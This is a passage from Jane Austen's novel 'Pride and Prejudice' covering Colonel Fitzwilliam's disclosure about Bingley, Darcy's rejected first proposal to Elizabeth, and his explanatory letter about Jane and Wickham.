indeed, his friends may well rejoice in his having met with one +of the very few sensible women who would have accepted him, or have made +him happy if they had. My friend has an excellent understanding--though +I am not certain that I consider her marrying Mr. Collins as the +wisest thing she ever did. She seems perfectly happy, however, and in a +prudential light it is certainly a very good match for her." + +"It must be very agreeable for her to be settled within so easy a +distance of her own family and friends." + +"An easy distance, do you call it? It is nearly fifty miles." + +"And what is fifty miles of good road? Little more than half a day's +journey. Yes, I call it a _very_ easy distance." + +"I should never have considered the distance as one of the _advantages_ +of the match," cried Elizabeth. "I should never have said Mrs. Collins +was settled _near_ her family." + +"It is a proof of your own attachment to Hertfordshire. Anything beyond +the very neighbourhood of Longbourn, I suppose, would appear far." + +As he spoke there was a sort of smile which Elizabeth fancied she +understood; he must be supposing her to be thinking of Jane and +Netherfield, and she blushed as she answered: + +"I do not mean to say that a woman may not be settled too near her +family. The far and the near must be relative, and depend on many +varying circumstances. Where there is fortune to make the expenses of +travelling unimportant, distance becomes no evil. But that is not the +case _here_. Mr. and Mrs. Collins have a comfortable income, but not +such a one as will allow of frequent journeys--and I am persuaded my +friend would not call herself _near_ her family under less than _half_ +the present distance." + +Mr. Darcy drew his chair a little towards her, and said, "_You_ cannot +have a right to such very strong local attachment. _You_ cannot have +been always at Longbourn." + +Elizabeth looked surprised. The gentleman experienced some change of +feeling; he drew back his chair, took a newspaper from the table, and +glancing over it, said, in a colder voice: + +"Are you pleased with Kent?" + +A short dialogue on the subject of the country ensued, on either side +calm and concise--and soon put an end to by the entrance of Charlotte +and her sister, just returned from her walk. The tete-a-tete surprised +them. Mr. Darcy related the mistake which had occasioned his intruding +on Miss Bennet, and after sitting a few minutes longer without saying +much to anybody, went away. + +"What can be the meaning of this?" said Charlotte, as soon as he was +gone. "My dear, Eliza, he must be in love with you, or he would never +have called us in this familiar way." + +But when Elizabeth told of his silence, it did not seem very likely, +even to Charlotte's wishes, to be the case; and after various +conjectures, they could at last only suppose his visit to proceed from +the difficulty of finding anything to do, which was the more probable +from the time of year. All field sports were over. Within doors there +was Lady Catherine, books, and a billiard-table, but gentlemen cannot +always be within doors; and in the nearness of the Parsonage, or the +pleasantness of the walk to it, or of the people who lived in it, the +two cousins found a temptation from this period of walking thither +almost every day. They called at various times of the morning, sometimes +separately, sometimes together, and now and then accompanied by their +aunt. It was plain to them all that Colonel Fitzwilliam came because he +had pleasure in their society, a persuasion which of course recommended +him still more; and Elizabeth was reminded by her own satisfaction in +being with him, as well as by his evident admiration of her, of her +former favourite George Wickham; and though, in comparing them, she saw +there was less captivating softness in Colonel Fitzwilliam's manners, +she believed he might have the best informed mind. + +But why Mr. Darcy came so often to the Parsonage, it was more difficult +to understand. It could not be for society, as he frequently sat there +ten minutes together without opening his lips; and when he did speak, +it seemed the effect of necessity rather than of choice--a sacrifice +to propriety, not a pleasure to himself. He seldom appeared really +animated. Mrs. Collins knew not what to make of him. Colonel +Fitzwilliam's occasionally laughing at his stupidity, proved that he was +generally different, which her own knowledge of him could not have told +her; and as she would liked to have believed this change the effect +of love, and the object of that love her friend Eliza, she set herself +seriously to work to find it out. She watched him whenever they were at +Rosings, and whenever he came to Hunsford; but without much success. He +certainly looked at her friend a great deal, but the expression of that +look was disputable. It was an earnest, steadfast gaze, but she often +doubted whether there were much admiration in it, and sometimes it +seemed nothing but absence of mind. + +She had once or twice suggested to Elizabeth the possibility of his +being partial to her, but Elizabeth always laughed at the idea; and Mrs. +Collins did not think it right to press the subject, from the danger of +raising expectations which might only end in disappointment; for in her +opinion it admitted not of a doubt, that all her friend's dislike would +vanish, if she could suppose him to be in her power. + + +In her kind schemes for Elizabeth, she sometimes planned her marrying +Colonel Fitzwilliam. He was beyond comparison the most pleasant man; he +certainly admired her, and his situation in life was most eligible; but, +to counterbalance these advantages, Mr. Darcy had considerable patronage +in the church, and his cousin could have none at all. + + + +Chapter 33 + + +More than once did Elizabeth, in her ramble within the park, +unexpectedly meet Mr. Darcy. She felt all the perverseness of the +mischance that should bring him where no one else was brought, and, to +prevent its ever happening again, took care to inform him at first that +it was a favourite haunt of hers. How it could occur a second time, +therefore, was very odd! Yet it did, and even a third. It seemed like +wilful ill-nature, or a voluntary penance, for on these occasions it was +not merely a few formal inquiries and an awkward pause and then away, +but he actually thought it necessary to turn back and walk with her. He +never said a great deal, nor did she give herself the trouble of talking +or of listening much; but it struck her in the course of their third +rencontre that he was asking some odd unconnected questions--about +her pleasure in being at Hunsford, her love of solitary walks, and her +opinion of Mr. and Mrs. Collins's happiness; and that in speaking of +Rosings and her not perfectly understanding the house, he seemed to +expect that whenever she came into Kent again she would be staying +_there_ too. His words seemed to imply it. Could he have Colonel +Fitzwilliam in his thoughts? She supposed, if he meant anything, he must +mean an allusion to what might arise in that quarter. It distressed +her a little, and she was quite glad to find herself at the gate in the +pales opposite the Parsonage. + +She was engaged one day as she walked, in perusing Jane's last letter, +and dwelling on some passages which proved that Jane had not written in +spirits, when, instead of being again surprised by Mr. Darcy, she saw +on looking up that Colonel Fitzwilliam was meeting her. Putting away the +letter immediately and forcing a smile, she said: + +"I did not know before that you ever walked this way." + +"I have been making the tour of the park," he replied, "as I generally +do every year, and intend to close it with a call at the Parsonage. Are +you going much farther?" + +"No, I should have turned in a moment." + +And accordingly she did turn, and they walked towards the Parsonage +together. + +"Do you certainly leave Kent on Saturday?" said she. + +"Yes--if Darcy does not put it off again. But I am at his disposal. He +arranges the business just as he pleases." + +"And if not able to please himself in the arrangement, he has at least +pleasure in the great power of choice. I do not know anybody who seems +more to enjoy the power of doing what he likes than Mr. Darcy." + +"He likes to have his own way very well," replied Colonel Fitzwilliam. +"But so we all do. It is only that he has better means of having it +than many others, because he is rich, and many others are poor. I speak +feelingly. A younger son, you know, must be inured to self-denial and +dependence." + +"In my opinion, the younger son of an earl can know very little of +either. Now seriously, what have you ever known of self-denial and +dependence? When have you been prevented by want of money from going +wherever you chose, or procuring anything you had a fancy for?" + +"These are home questions--and perhaps I cannot say that I have +experienced many hardships of that nature. But in matters of greater +weight, I may suffer from want of money. Younger sons cannot marry where +they like." + +"Unless where they like women of fortune, which I think they very often +do." + +"Our habits of expense make us too dependent, and there are not many +in my rank of life who can afford to marry without some attention to +money." + +"Is this," thought Elizabeth, "meant for me?" and she coloured at the +idea; but, recovering herself, said in a lively tone, "And pray, what +is the usual price of an earl's younger son? Unless the elder brother is +very sickly, I suppose you would not ask above fifty thousand pounds." + +He answered her in the same style, and the subject dropped. To interrupt +a silence which might make him fancy her affected with what had passed, +she soon afterwards said: + +"I imagine your cousin brought you down with him chiefly for the sake of +having someone at his disposal. I wonder he does not marry, to secure a +lasting convenience of that kind. But, perhaps, his sister does as well +for the present, and, as she is under his sole care, he may do what he +likes with her." + +"No," said Colonel Fitzwilliam, "that is an advantage which he must +divide with me. I am joined with him in the guardianship of Miss Darcy." + +"Are you indeed? And pray what sort of guardians do you make? Does your +charge give you much trouble? Young ladies of her age are sometimes a +little difficult to manage, and if she has the true Darcy spirit, she +may like to have her own way." + +As she spoke she observed him looking at her earnestly; and the manner +in which he immediately asked her why she supposed Miss Darcy likely to +give them any uneasiness, convinced her that she had somehow or other +got pretty near the truth. She directly replied: + +"You need not be frightened. I never heard any harm of her; and I dare +say she is one of the most tractable creatures in the world. She is a +very great favourite with some ladies of my acquaintance, Mrs. Hurst and +Miss Bingley. I think I have heard you say that you know them." + +"I know them a little. Their brother is a pleasant gentlemanlike man--he +is a great friend of Darcy's." + +"Oh! yes," said Elizabeth drily; "Mr. Darcy is uncommonly kind to Mr. +Bingley, and takes a prodigious deal of care of him." + +"Care of him! Yes, I really believe Darcy _does_ take care of him in +those points where he most wants care. From something that he told me in +our journey hither, I have reason to think Bingley very much indebted to +him. But I ought to beg his pardon, for I have no right to suppose that +Bingley was the person meant. It was all conjecture." + +"What is it you mean?" + +"It is a circumstance which Darcy could not wish to be generally known, +because if it were to get round to the lady's family, it would be an +unpleasant thing." + +"You may depend upon my not mentioning it." + +"And remember that I have not much reason for supposing it to be +Bingley. What he told me was merely this: that he congratulated himself +on having lately saved a friend from the inconveniences of a most +imprudent marriage, but without mentioning names or any other +particulars, and I only suspected it to be Bingley from believing +him the kind of young man to get into a scrape of that sort, and from +knowing them to have been together the whole of last summer." + +"Did Mr. Darcy give you reasons for this interference?" + +"I understood that there were some very strong objections against the +lady." + +"And what arts did he use to separate them?" + +"He did not talk to me of his own arts," said Fitzwilliam, smiling. "He +only told me what I have now told you." + +Elizabeth made no answer, and walked on, her heart swelling with +indignation. After watching her a little, Fitzwilliam asked her why she +was so thoughtful. + +"I am thinking of what you have been telling me," said she. "Your +cousin's conduct does not suit my feelings. Why was he to be the judge?" + +"You are rather disposed to call his interference officious?" + +"I do not see what right Mr. Darcy had to decide on the propriety of his +friend's inclination, or why, upon his own judgement alone, he was to +determine and direct in what manner his friend was to be happy. +But," she continued, recollecting herself, "as we know none of the +particulars, it is not fair to condemn him. It is not to be supposed +that there was much affection in the case." + +"That is not an unnatural surmise," said Fitzwilliam, "but it is a +lessening of the honour of my cousin's triumph very sadly." + +This was spoken jestingly; but it appeared to her so just a picture +of Mr. Darcy, that she would not trust herself with an answer, and +therefore, abruptly changing the conversation talked on indifferent +matters until they reached the Parsonage. There, shut into her own room, +as soon as their visitor left them, she could think without interruption +of all that she had heard. It was not to be supposed that any other +people could be meant than those with whom she was connected. There +could not exist in the world _two_ men over whom Mr. Darcy could have +such boundless influence. That he had been concerned in the measures +taken to separate Bingley and Jane she had never doubted; but she had +always attributed to Miss Bingley the principal design and arrangement +of them. If his own vanity, however, did not mislead him, _he_ was +the cause, his pride and caprice were the cause, of all that Jane had +suffered, and still continued to suffer. He had ruined for a while +every hope of happiness for the most affectionate, generous heart in the +world; and no one could say how lasting an evil he might have inflicted. + +"There were some very strong objections against the lady," were Colonel +Fitzwilliam's words; and those strong objections probably were, her +having one uncle who was a country attorney, and another who was in +business in London. + +"To Jane herself," she exclaimed, "there could be no possibility of +objection; all loveliness and goodness as she is!--her understanding +excellent, her mind improved, and her manners captivating. Neither +could anything be urged against my father, who, though with some +peculiarities, has abilities Mr. Darcy himself need not disdain, and +respectability which he will probably never reach." When she thought of +her mother, her confidence gave way a little; but she would not allow +that any objections _there_ had material weight with Mr. Darcy, whose +pride, she was convinced, would receive a deeper wound from the want of +importance in his friend's connections, than from their want of sense; +and she was quite decided, at last, that he had been partly governed +by this worst kind of pride, and partly by the wish of retaining Mr. +Bingley for his sister. + +The agitation and tears which the subject occasioned, brought on a +headache; and it grew so much worse towards the evening, that, added to +her unwillingness to see Mr. Darcy, it determined her not to attend her +cousins to Rosings, where they were engaged to drink tea. Mrs. Collins, +seeing that she was really unwell, did not press her to go and as much +as possible prevented her husband from pressing her; but Mr. Collins +could not conceal his apprehension of Lady Catherine's being rather +displeased by her staying at home. + + + +Chapter 34 + + +When they were gone, Elizabeth, as if intending to exasperate herself +as much as possible against Mr. Darcy, chose for her employment the +examination of all the letters which Jane had written to her since her +being in Kent. They contained no actual complaint, nor was there any +revival of past occurrences, or any communication of present suffering. +But in all, and in almost every line of each, there was a want of that +cheerfulness which had been used to characterise her style, and which, +proceeding from the serenity of a mind at ease with itself and kindly +disposed towards everyone, had been scarcely ever clouded. Elizabeth +noticed every sentence conveying the idea of uneasiness, with an +attention which it had hardly received on the first perusal. Mr. Darcy's +shameful boast of what misery he had been able to inflict, gave her +a keener sense of her sister's sufferings. It was some consolation +to think that his visit to Rosings was to end on the day after the +next--and, a still greater, that in less than a fortnight she should +herself be with Jane again, and enabled to contribute to the recovery of +her spirits, by all that affection could do. + +She could not think of Darcy's leaving Kent without remembering that +his cousin was to go with him; but Colonel Fitzwilliam had made it clear +that he had no intentions at all, and agreeable as he was, she did not +mean to be unhappy about him. + +While settling this point, she was suddenly roused by the sound of the +door-bell, and her spirits were a little fluttered by the idea of its +being Colonel Fitzwilliam himself, who had once before called late in +the evening, and might now come to inquire particularly after her. +But this idea was soon banished, and her spirits were very differently +affected, when, to her utter amazement, she saw Mr. Darcy walk into the +room. In an hurried manner he immediately began an inquiry after her +health, imputing his visit to a wish of hearing that she were better. +She answered him with cold civility. He sat down for a few moments, and +then getting up, walked about the room. Elizabeth was surprised, but +said not a word. After a silence of several minutes, he came towards her +in an agitated manner, and thus began: + +"In vain I have struggled. It will not do. My feelings will not be +repressed. You must allow me to tell you how ardently I admire and love +you." + +Elizabeth's astonishment was beyond expression. She stared, coloured, +doubted, and was silent. This he considered sufficient encouragement; +and the avowal of all that he felt, and had long felt for her, +immediately followed. He spoke well; but there were feelings besides +those of the heart to be detailed; and he was not more eloquent on the +subject of tenderness than of pride. His sense of her inferiority--of +its being a degradation--of the family obstacles which had always +opposed to inclination, were dwelt on with a warmth which seemed due to +the consequence he was wounding, but was very unlikely to recommend his +suit. + +In spite of her deeply-rooted dislike, she could not be insensible to +the compliment of such a man's affection, and though her intentions did +not vary for an instant, she was at first sorry for the pain he was to +receive; till, roused to resentment by his subsequent language, she +lost all compassion in anger. She tried, however, to compose herself to +answer him with patience, when he should have done. He concluded with +representing to her the strength of that attachment which, in spite +of all his endeavours, he had found impossible to conquer; and with +expressing his hope that it would now be rewarded by her acceptance of +his hand. As he said this, she could easily see that he had no doubt +of a favourable answer. He _spoke_ of apprehension and anxiety, but +his countenance expressed real security. Such a circumstance could +only exasperate farther, and, when he ceased, the colour rose into her +cheeks, and she said: + +"In such cases as this, it is, I believe, the established mode to +express a sense of obligation for the sentiments avowed, however +unequally they may be returned. It is natural that obligation should +be felt, and if I could _feel_ gratitude, I would now thank you. But I +cannot--I have never desired your good opinion, and you have certainly +bestowed it most unwillingly. I am sorry to have occasioned pain to +anyone. It has been most unconsciously done, however, and I hope will be +of short duration. The feelings which, you tell me, have long prevented +the acknowledgment of your regard, can have little difficulty in +overcoming it after this explanation." + +Mr. Darcy, who was leaning against the mantelpiece with his eyes fixed +on her face, seemed to catch her words with no less resentment than +surprise. His complexion became pale with anger, and the disturbance +of his mind was visible in every feature. He was struggling for the +appearance of composure, and would not open his lips till he believed +himself to have attained it. The pause was to Elizabeth's feelings +dreadful. At length, with a voice of forced calmness, he said: + +"And this is all the reply which I am to have the honour of expecting! +I might, perhaps, wish to be informed why, with so little _endeavour_ at +civility, I am thus rejected. But it is of small importance." + +"I might as well inquire," replied she, "why with so evident a desire +of offending and insulting me, you chose to tell me that you liked me +against your will, against your reason, and even against your character? +Was not this some excuse for incivility, if I _was_ uncivil? But I have +other provocations. You know I have. Had not my feelings decided against +you--had they been indifferent, or had they even been favourable, do you +think that any consideration would tempt me to accept the man who has +been the means of ruining, perhaps for ever, the happiness of a most +beloved sister?" + +As she pronounced these words, Mr. Darcy changed colour; but the emotion +was short, and he listened without attempting to interrupt her while she +continued: + +"I have every reason in the world to think ill of you. No motive can +excuse the unjust and ungenerous part you acted _there_. You dare not, +you cannot deny, that you have been the principal, if not the only means +of dividing them from each other--of exposing one to the censure of the +world for caprice and instability, and the other to its derision for +disappointed hopes, and involving them both in misery of the acutest +kind." + +She paused, and saw with no slight indignation that he was listening +with an air which proved him wholly unmoved by any feeling of remorse. +He even looked at her with a smile of affected incredulity. + +"Can you deny that you have done it?" she repeated. + +With assumed tranquillity he then replied: "I have no wish of denying +that I did everything in my power to separate my friend from your +sister, or that I rejoice in my success. Towards _him_ I have been +kinder than towards myself." + +Elizabeth disdained the appearance of noticing this civil reflection, +but its meaning did not escape, nor was it likely to conciliate her. + +"But it is not merely this affair," she continued, "on which my dislike +is founded. Long before it had taken place my opinion of you was +decided. Your character was unfolded in the recital which I received +many months ago from Mr. Wickham. On this subject, what can you have to +say? In what imaginary act of friendship can you here defend yourself? +or under what misrepresentation can you here impose upon others?" + +"You take an eager interest in that gentleman's concerns," said Darcy, +in a less tranquil tone, and with a heightened colour. + +"Who that knows what his misfortunes have been, can help feeling an +interest in him?" + +"His misfortunes!" repeated Darcy contemptuously; "yes, his misfortunes +have been great indeed." + +"And of your infliction," cried Elizabeth with energy. "You have reduced +him to his present state of poverty--comparative poverty. You have +withheld the advantages which you must know to have been designed for +him. You have deprived the best years of his life of that independence +which was no less his due than his desert. You have done all this! +and yet you can treat the mention of his misfortune with contempt and +ridicule." + +"And this," cried Darcy, as he walked with quick steps across the room, +"is your opinion of me! This is the estimation in which you hold me! +I thank you for explaining it so fully. My faults, according to this +calculation, are heavy indeed! But perhaps," added he, stopping in +his walk, and turning towards her, "these offenses might have been +overlooked, had not your pride been hurt by my honest confession of the +scruples that had long prevented my forming any serious design. These +bitter accusations might have been suppressed, had I, with greater +policy, concealed my struggles, and flattered you into the belief of +my being impelled by unqualified, unalloyed inclination; by reason, by +reflection, by everything. But disguise of every sort is my abhorrence. +Nor am I ashamed of the feelings I related. They were natural and +just. Could you expect me to rejoice in the inferiority of your +connections?--to congratulate myself on the hope of relations, whose +condition in life is so decidedly beneath my own?" + +Elizabeth felt herself growing more angry every moment; yet she tried to +the utmost to speak with composure when she said: + +"You are mistaken, Mr. Darcy, if you suppose that the mode of your +declaration affected me in any other way, than as it spared me the concern +which I might have felt in refusing you, had you behaved in a more +gentlemanlike manner." + +She saw him start at this, but he said nothing, and she continued: + +"You could not have made the offer of your hand in any possible way that +would have tempted me to accept it." + +Again his astonishment was obvious; and he looked at her with an +expression of mingled incredulity and mortification. She went on: + +"From the very beginning--from the first moment, I may almost say--of +my acquaintance with you, your manners, impressing me with the fullest +belief of your arrogance, your conceit, and your selfish disdain of +the feelings of others, were such as to form the groundwork of +disapprobation on which succeeding events have built so immovable a +dislike; and I had not known you a month before I felt that you were the +last man in the world whom I could ever be prevailed on to marry." + +"You have said quite enough, madam. I perfectly comprehend your +feelings, and have now only to be ashamed of what my own have been. +Forgive me for having taken up so much of your time, and accept my best +wishes for your health and happiness." + +And with these words he hastily left the room, and Elizabeth heard him +the next moment open the front door and quit the house. + +The tumult of her mind, was now painfully great. She knew not how +to support herself, and from actual weakness sat down and cried for +half-an-hour. Her astonishment, as she reflected on what had passed, +was increased by every review of it. That she should receive an offer of +marriage from Mr. Darcy! That he should have been in love with her for +so many months! So much in love as to wish to marry her in spite of +all the objections which had made him prevent his friend's marrying +her sister, and which must appear at least with equal force in his +own case--was almost incredible! It was gratifying to have inspired +unconsciously so strong an affection. But his pride, his abominable +pride--his shameless avowal of what he had done with respect to +Jane--his unpardonable assurance in acknowledging, though he could +not justify it, and the unfeeling manner in which he had mentioned Mr. +Wickham, his cruelty towards whom he had not attempted to deny, soon +overcame the pity which the consideration of his attachment had for +a moment excited. She continued in very agitated reflections till the +sound of Lady Catherine's carriage made her feel how unequal she was to +encounter Charlotte's observation, and hurried her away to her room. + + + +Chapter 35 + + +Elizabeth awoke the next morning to the same thoughts and meditations +which had at length closed her eyes. She could not yet recover from the +surprise of what had happened; it was impossible to think of anything +else; and, totally indisposed for employment, she resolved, soon after +breakfast, to indulge herself in air and exercise. She was proceeding +directly to her favourite walk, when the recollection of Mr. Darcy's +sometimes coming there stopped her, and instead of entering the park, +she turned up the lane, which led farther from the turnpike-road. The +park paling was still the boundary on one side, and she soon passed one +of the gates into the ground. + +After walking two or three times along that part of the lane, she was +tempted, by the pleasantness of the morning, to stop at the gates and +look into the park. The five weeks which she had now passed in Kent had +made a great difference in the country, and every day was adding to the +verdure of the early trees. She was on the point of continuing her walk, +when she caught a glimpse of a gentleman within the sort of grove which +edged the park; he was moving that way; and, fearful of its being Mr. +Darcy, she was directly retreating. But the person who advanced was now +near enough to see her, and stepping forward with eagerness, pronounced +her name. She had turned away; but on hearing herself called, though +in a voice which proved it to be Mr. Darcy, she moved again towards the +gate. He had by that time reached it also, and, holding out a letter, +which she instinctively took, said, with a look of haughty composure, +"I have been walking in the grove some time in the hope of meeting you. +Will you do me the honour of reading that letter?" And then, with a +slight bow, turned again into the plantation, and was soon out of sight. + +With no expectation of pleasure, but with the strongest curiosity, +Elizabeth opened the letter, and, to her still increasing wonder, +perceived an envelope containing two sheets of letter-paper, written +quite through, in a very close hand. The envelope itself was likewise +full. Pursuing her way along the lane, she then began it. It was dated +from Rosings, at eight o'clock in the morning, and was as follows:-- + +"Be not alarmed, madam, on receiving this letter, by the apprehension +of its containing any repetition of those sentiments or renewal of those +offers which were last night so disgusting to you. I write without any +intention of paining you, or humbling myself, by dwelling on wishes +which, for the happiness of both, cannot be too soon forgotten; and the +effort which the formation and the perusal of this letter must occasion, +should have been spared, had not my character required it to be written +and read. You must, therefore, pardon the freedom with which I demand +your attention; your feelings, I know, will bestow it unwillingly, but I +demand it of your justice. + +"Two offenses of a very different nature, and by no means of equal +magnitude, you last night laid to my charge. The first mentioned was, +that, regardless of the sentiments of either, I had detached Mr. Bingley +from your sister, and the other, that I had, in defiance of various +claims, in defiance of honour and humanity, ruined the immediate +prosperity and blasted the prospects of Mr. Wickham. Wilfully and +wantonly to have thrown off the companion of my youth, the acknowledged +favourite of my father, a young man who had scarcely any other +dependence than on our patronage, and who had been brought up to expect +its exertion, would be a depravity, to which the separation of two young +persons, whose affection could be the growth of only a few weeks, could +bear no comparison. But from the severity of that blame which was last +night so liberally bestowed, respecting each circumstance, I shall hope +to be in the future secured, when the following account of my actions +and their motives has been read. If, in the explanation of them, which +is due to myself, I am under the necessity of relating feelings which +may be offensive to yours, I can only say that I am sorry. The necessity +must be obeyed, and further apology would be absurd. + +"I had not been long in Hertfordshire, before I saw, in common with +others, that Bingley preferred your elder sister to any other young +woman in the country. But it was not till the evening of the dance +at Netherfield that I had any apprehension of his feeling a serious +attachment. I had often seen him in love before. At that ball, while I +had the honour of dancing with you, I was first made acquainted, by Sir +William Lucas's accidental information, that Bingley's attentions to +your sister had given rise to a general expectation of their marriage. +He spoke of it as a certain event, of which the time alone could +be undecided. From that moment I observed my friend's behaviour +attentively; and I could then perceive that his partiality for Miss +Bennet was beyond what I had ever witnessed in him. Your sister I also +watched. Her look and manners were open, cheerful, and engaging as ever, +but without any symptom of peculiar regard, and I remained convinced +from the evening's scrutiny, that though she received his attentions +with pleasure, she did not invite them by any participation of +sentiment. If _you_ have not been mistaken here, _I_ must have been +in error. Your superior knowledge of your sister must make the latter +probable. If it be so, if I have been misled by such error to inflict +pain on her, your resentment has not been unreasonable. But I shall not +scruple to assert, that the serenity of your sister's countenance and +air was such as might have given the most acute observer a conviction +that, however amiable her temper, her heart was not likely to be +easily touched. That I was desirous of believing her indifferent is +certain--but I will venture to say that my investigation and decisions +are not usually influenced by my hopes or fears. I did not believe +her to be indifferent because I wished it; I believed it on impartial +conviction, as truly as I wished it in reason. My objections to the +marriage were not merely those which I last night acknowledged to have +the utmost force of passion to put aside, in my own case; the want of +connection could not be so great an evil to my friend as to me. But +there were other causes of repugnance; causes which, though still +existing, and existing to an equal degree in both instances, I had +myself endeavoured to forget, because they were not immediately before +me. These causes must be stated, though briefly. The situation of your +mother's family, though objectionable, was nothing in comparison to that +total want of propriety so frequently, so almost uniformly betrayed by +herself, by your three younger sisters, and occasionally even by your +father. Pardon me. It pains me to offend you. But amidst your concern +for the defects of your nearest relations, and your displeasure at this +representation of them, let it give you consolation to consider that, to +have conducted yourselves so as to avoid any share of the like censure, +is praise no less generally bestowed on you and your elder sister, than +it is honourable to the sense and disposition of both. I will only say +farther that from what passed that evening, my opinion of all parties +was confirmed, and every inducement heightened which could have led +me before, to preserve my friend from what I esteemed a most unhappy +connection. He left Netherfield for London, on the day following, as +you, I am certain, remember, with the design of soon returning. + +"The part which I acted is now to be explained. His sisters' uneasiness +had been equally excited with my own; our coincidence of feeling was +soon discovered, and, alike sensible that no time was to be lost in +detaching their brother, we shortly resolved on joining him directly in +London. We accordingly went--and there I readily engaged in the office +of pointing out to my friend the certain evils of such a choice. I +described, and enforced them earnestly. But, however this remonstrance +might have staggered or delayed his determination, I do not suppose +that it would ultimately have prevented the marriage, had it not been +seconded by the assurance that I hesitated not in giving, of your +sister's indifference. He had before believed her to return his +affection with sincere, if not with equal regard. But Bingley has great +natural modesty, with a stronger dependence on my judgement than on his +own. To convince him, therefore, that he had deceived himself, was +no very difficult point. To persuade him against returning into +Hertfordshire, when that conviction had been given, was scarcely the +work of a moment. I cannot blame myself for having done thus much. There +is but one part of my conduct in the whole affair on which I do not +reflect with satisfaction; it is that I condescended to adopt the +measures of art so far as to conceal from him your sister's being in +town. I knew it myself, as it was known to Miss Bingley; but her +brother is even yet ignorant of it. That they might have met without +ill consequence is perhaps probable; but his regard did not appear to me +enough extinguished for him to see her without some danger. Perhaps this +concealment, this disguise was beneath me; it is done, however, and it +was done for the best. On this subject I have nothing more to say, no +other apology to offer. If I have wounded your sister's feelings, it +was unknowingly done and though the motives which governed me may to +you very naturally appear insufficient, I have not yet learnt to condemn +them. + +"With respect to that other, more weighty accusation, of having injured +Mr. Wickham, I can only refute it by laying before you the whole of his +connection with my family. Of what he has _particularly_ accused me I +am ignorant; but of the truth of what I shall relate, I can summon more +than one witness of undoubted veracity. + +"Mr. Wickham is the son of a very respectable man, who had for many +years the management of all the Pemberley estates, and whose good +conduct in the discharge of his trust naturally inclined my father to +be of service to him; and on George Wickham, who was his godson, his +kindness was therefore liberally bestowed. My father supported him at +school, and afterwards at Cambridge--most important assistance, as his +own father, always poor from the extravagance of his wife, would have +been unable to give him a gentleman's education. My father was not only +fond of this young man's society, whose manners were always engaging; he +had also the highest opinion of him, and hoping the church would be +his profession, intended to provide for him in it. As for myself, it is +many, many years since I first began to think of him in a very different +manner. The vicious propensities--the want of principle, which he was +careful to guard from the knowledge of his best friend, could not escape +the observation of a young man of nearly the same age with himself, +and who had opportunities of seeing him in unguarded moments, which Mr. +Darcy could not have. Here again I shall give you pain--to what degree +you only can tell. But whatever may be the sentiments which Mr. Wickham +has created, a suspicion of their nature shall not prevent me from +unfolding his real character--it adds even another motive. + +"My excellent father died about five years ago; and his attachment to +Mr. Wickham was to the last so steady, that in his will he particularly +recommended it to me, to promote his advancement in the best manner +that his profession might allow--and if he took orders, desired that a +valuable family living might be his as soon as it became vacant. There +was also a legacy of one thousand pounds. His own father did not long +survive mine, and within half a year from these events, Mr. Wickham +wrote to inform me that, having finally resolved against taking orders, +he hoped I should not think it unreasonable for him to expect some more +immediate pecuniary advantage, in lieu of the preferment, by which he +could not be benefited. He had some intention, he added, of studying +law, and I must be aware that the interest of one thousand pounds would +be a very insufficient support therein. I rather wished, than believed +him to be sincere; but, at any rate, was perfectly ready to accede to +his proposal. I knew that Mr. Wickham ought not to be a clergyman; the +business was therefore soon settled--he resigned all claim to assistance +in the church, were it possible that he could ever be in a situation to +receive it, and accepted in return three thousand pounds. All connection +between us seemed now dissolved. I thought too ill of him to invite him +to Pemberley, or admit his society in town. In town I believe he chiefly +lived, but his studying the law was a mere pretence, and being now free +from all restraint, his life was a life of idleness and dissipation. +For about three years I heard little of him; but on the decease of the +incumbent of the living which had been designed for him, he applied to +me again by letter for the presentation. His circumstances, he assured +me, and I had no difficulty in believing it, were exceedingly bad. He +had found the law a most unprofitable study, and was now absolutely +resolved on being ordained, if I would present him to the living in +question--of which he trusted there could be little doubt, as he was +well assured that I had no other person to provide for, and I could not +have forgotten my revered father's intentions. You will hardly blame +me for refusing to comply with this entreaty, or for resisting every +repetition to it. His resentment was in proportion to the distress of +his circumstances--and he was doubtless as violent in his abuse of me +to others as in his reproaches to myself. After this period every +appearance of acquaintance was dropped. How he lived I know not. But +last summer he was again most painfully obtruded on my notice. + +"I must now mention a circumstance which I would wish to forget myself, +and which no obligation less than the present should induce me to unfold +to any human being. Having said thus much, I feel no doubt of your +secrecy. My sister, who is more than ten years my junior, was left to +the guardianship of my mother's nephew, Colonel Fitzwilliam, and myself. +About a year ago, she was taken from school, and an establishment formed +for her in London; and last summer she went with the lady who presided +over it, to Ramsgate; and thither also went Mr. Wickham, undoubtedly by +design; for there proved to have been a prior acquaintance between him +and Mrs. Younge, in whose character we were most unhappily deceived; and +by her connivance and aid, he so far recommended himself to Georgiana, +whose affectionate heart retained a strong impression of his kindness to +her as a child, that she was persuaded to believe herself in love, and +to consent to an elopement. She was then but fifteen, which must be her +excuse; and after stating her imprudence, I am happy to add, that I owed +the knowledge of it to herself. I joined them unexpectedly a day or two +before the intended elopement, and then Georgiana, unable to support the +idea of grieving and offending a brother whom she almost looked up to as +a father, acknowledged the whole to me. You may imagine what I felt and +how I acted. Regard for my sister's credit and feelings prevented +any public exposure; but I wrote to Mr. Wickham, who left the place +immediately, and Mrs. Younge was of course removed from her charge. Mr. +Wickham's chief object was unquestionably my sister's fortune, which +is thirty thousand pounds; but I cannot help supposing that the hope of +revenging himself on me was a strong inducement. His revenge would have +been complete indeed. + +"This, madam, is a faithful narrative of every event in which we have +been concerned together; and if you do not absolutely reject it as +false, you will, I hope, acquit me henceforth of cruelty towards Mr. +Wickham. I know not in what manner, under what form of falsehood he +had imposed on you; but his success is not perhaps to be wondered +at. Ignorant as you previously were of everything concerning either, +detection could not be in your power, and suspicion certainly not in +your inclination. + +"You may possibly wonder why all this was not told you last night; but +I was not then master enough of myself to know what could or ought to +be revealed. For the truth of everything here related, I can appeal more +particularly to the testimony of Colonel Fitzwilliam, who, from our +near relationship and constant intimacy, and, still more, as one of +the executors of my father's will, has been unavoidably acquainted +with every particular of these transactions. If your abhorrence of _me_ +should make _my_ assertions valueless, you cannot be prevented by +the same cause from confiding in my cousin; and that there may be +the possibility of consulting him, I shall endeavour to find some +opportunity of putting this letter in your hands in the course of the +morning. I will only add, God bless you. + +"FITZWILLIAM DARCY" + + + +Chapter 36 + + +If Elizabeth, when Mr. Darcy gave her the letter, did not expect it to +contain a renewal of his offers, she had formed no expectation at all of +its contents. But such as they were, it may well be supposed how eagerly +she went through them, and what a contrariety of emotion they excited. +Her feelings as she read were scarcely to be defined. With amazement did +she first understand that he believed any apology to be in his power; +and steadfastly was she persuaded, that he could have no explanation +to give, which a just 